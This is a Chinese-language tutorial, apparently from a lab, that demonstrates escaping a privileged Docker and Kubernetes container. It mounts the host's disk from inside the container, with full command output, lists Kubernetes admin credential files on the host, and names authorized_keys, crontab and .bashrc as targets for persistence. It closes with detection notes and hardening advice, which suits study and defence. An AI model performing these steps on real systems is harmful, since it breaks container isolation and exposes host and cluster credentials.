privileged 容器内 mount device
rivileged 特权容器是业界最常见以及最广为人知的逃逸手法,对容器安全有一定要求的产品一般都会严格限制特权容器的使用和监控
privileged 特权容器的权限其实有很多,所以也有很多不同的逃逸方式,挂载设备读写宿主机文件是特权容器最常见的逃逸方式之一
docker 启动一个特权的容器,然后使用 fdisk -l 查看磁盘情况
shell
[root@localhost ~]# docker run -it --privileged 192.168.101.99:80/base/centos:8 /bin/bash
当你进入 privileged 特权容器内部时,你可以使用 fdisk -l 查看宿主机的磁盘设备
shell
[root@73e9b671db4b /]# fdisk -l
Disk /dev/nvme0n1: 200 GiB, 214748364800 bytes, 419430400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xddd67adf
Device Boot Start End Sectors Size Id Type
/dev/nvme0n1p1 * 2048 2099199 2097152 1G 83 Linux
/dev/nvme0n1p2 2099200 419416063 417316864 199G 8e Linux LVM
Disk /dev/dm-0: 190 GiB, 204010946560 bytes, 398458880 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/dm-1: 2.1 GiB, 2235564032 bytes, 4366336 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/dm-2: 6.9 GiB, 7415529472 bytes, 14483456 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
在特权容器里,你可以把宿主机里的根目录 / 挂载到容器内部,从而去操作宿主机内的任意文件,例如 crontab config file, /root/.ssh/authorized_keys, /root/.bashrc 等文件,而达到逃逸的目的
shell
# 查看可用磁盘设备
fdisk -l
# 创建挂载点
mkdir /mnt/host_root
# 挂载宿主机根目录,若是挂载失败,可以选择其他磁盘挂载
mount /dev/nvme0n1p2 /mnt/host_root
# mount /dev/dm-0 /mnt/host_root
# 访问宿主机文件系统
ls -la /mnt/host_root
# 详细操作如下
[root@43b992f1bac6 /]# fdisk -l
Disk /dev/nvme0n1: 200 GiB, 214748364800 bytes, 419430400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xddd67adf
Device Boot Start End Sectors Size Id Type
/dev/nvme0n1p1 * 2048 2099199 2097152 1G 83 Linux
/dev/nvme0n1p2 2099200 419416063 417316864 199G 8e Linux LVM
Disk /dev/dm-0: 190 GiB, 204010946560 bytes, 398458880 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/dm-1: 2.1 GiB, 2235564032 bytes, 4366336 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/dm-2: 6.9 GiB, 7415529472 bytes, 14483456 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
[root@43b992f1bac6 /]# mount /dev/nvme0n1p2 /mnt/host_root
mount: /mnt/host_root: unknown filesystem type 'LVM2_member'.
[root@43b992f1bac6 /]# mount /dev/dm-0 /mnt/host_root
[root@43b992f1bac6 /]# ls /mnt/host_root/
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
[root@43b992f1bac6 /]# cd /mnt/host_root/root/
[root@43b992f1bac6 root]# ls
[root@43b992f1bac6 root]# pwd
/mnt/host_root/root
# 在主机上写入一个文件
[root@localhost ~]# echo ksadfsdfaslkajldsfjlasdfjljas > information
[root@localhost ~]# cat information
ksadfsdfaslkajldsfjlasdfjljas
# 在容器中查看文件内容
[root@43b992f1bac6 root]# ls
anaconda-ks.cfg information
[root@43b992f1bac6 root]#
[root@43b992f1bac6 root]#
[root@43b992f1bac6 root]# cat information
ksadfsdfaslkajldsfjlasdfjljas
不在 privileged 容器内部,是没有权限查看磁盘列表并操作挂载
shell
[root@localhost ~]# docker run -it 192.168.101.99:80/base/centos:8 /bin/bash
[root@7b11178b545b /]#
[root@7b11178b545b /]# fdisk -l
[root@7b11178b545b /]#
k8s 中启动一个特权容器
yaml
# /data/k8s/privileged-pod.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: privileged-centos
namespace: default
labels:
app: privileged-centos
spec:
replicas: 1
selector:
matchLabels:
app: privileged-centos
template:
metadata:
labels:
app: privileged-centos
spec:
containers:
- name: centos
image: 192.168.101.99:80/base/centos:8
command: ["/bin/sleep", "infinity"]
securityContext:
privileged: true
创建容器,然后进行操作
shell
[root@localhost ~]# kubectl create -f /data/k8s/privileged-pod.yaml
deployment.apps/privileged-centos created
[root@localhost ~]# kubectl get pods
NAME READY STATUS RESTARTS AGE
privileged-centos-576b686949-tk9c5 0/1 ContainerCreating 0 4s
[root@localhost ~]#
[root@localhost ~]#
[root@localhost ~]# kubectl get pods
NAME READY STATUS RESTARTS AGE
privileged-centos-576b686949-tk9c5 1/1 Running 0 61s
# 连接容器,并测试 fdisk -l 命令
[root@localhost ~]# kubectl exec -it `kubectl get pods|grep privileged-centos|awk '{print $1}'` /bin/bash
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
[root@privileged-centos-576b686949-tk9c5 /]# fdisk -l
Disk /dev/nvme0n1: 200 GiB, 214748364800 bytes, 419430400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xddd67adf
Device Boot Start End Sectors Size Id Type
/dev/nvme0n1p1 * 2048 2099199 2097152 1G 83 Linux
/dev/nvme0n1p2 2099200 419416063 417316864 199G 8e Linux LVM
Disk /dev/dm-0: 190 GiB, 204010946560 bytes, 398458880 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/dm-1: 2.1 GiB, 2235564032 bytes, 4366336 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/dm-2: 6.9 GiB, 7415529472 bytes, 14483456 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
[root@privileged-centos-576b686949-tk9c5 /]#
# 进行挂载操作,并查看宿主机上的文件
[root@privileged-centos-576b686949-tk9c5 /]# mkdir /mnt/host_root
[root@privileged-centos-576b686949-tk9c5 /]# mount /dev/nvme0n1p2 /mnt/host_root
mount: /mnt/host_root: unknown filesystem type 'LVM2_member'.
[root@privileged-centos-576b686949-tk9c5 /]# mount /dev/dm-0 /mnt/host_root
[root@privileged-centos-576b686949-tk9c5 /]# ls -la /mnt/host_root/etc/kubernetes/
total 56
drwxr-xr-x 7 root root 4096 Dec 13 13:44 .
drwxr-xr-x. 91 root root 8192 Apr 25 06:31 ..
-rw------- 1 root root 5529 Dec 13 13:44 admin.conf
drwx------ 3 root root 18 Dec 13 13:42 backup
drwxr-xr-x 2 root root 6 Dec 13 13:43 config
-rw------- 1 root root 5565 Dec 13 13:44 controller-manager.conf
-rw-r--r-- 1 root root 5225 Dec 13 13:43 kubeadm-config.yaml
-rw------- 1 root root 3679 Dec 13 13:44 kubelet.conf
drwx------ 2 root root 171 Dec 13 13:44 manifests
drwxr-xr-x 3 root root 4096 Dec 13 13:43 pki
drwxr-xr-x 3 root root 23 Dec 13 13:42 plugins
-rw------- 1 root root 5513 Dec 13 13:44 scheduler.conf
[root@privileged-centos-576b686949-tk9c5 /]# ls /mnt/host_root/root/.kube/
config
这类的文件的读写是 EDR 和 HIDS 重点监控的对象,所以是极易触发告警的;即使 HIDS 不一定有针对容器安全的特性进行优化,对此类的逃逸行为依旧有一些检测能力
防御建议
text
1、避免使用 --privileged 特权容器,除非绝对必要
2、使用 Pod Security Policies (PSP) 或 Pod Security Standards (PSS) 限制容器权限
3、实施最小权限原则,仅授予容器所需的最小权限
4、监控特权容器的创建和使用情况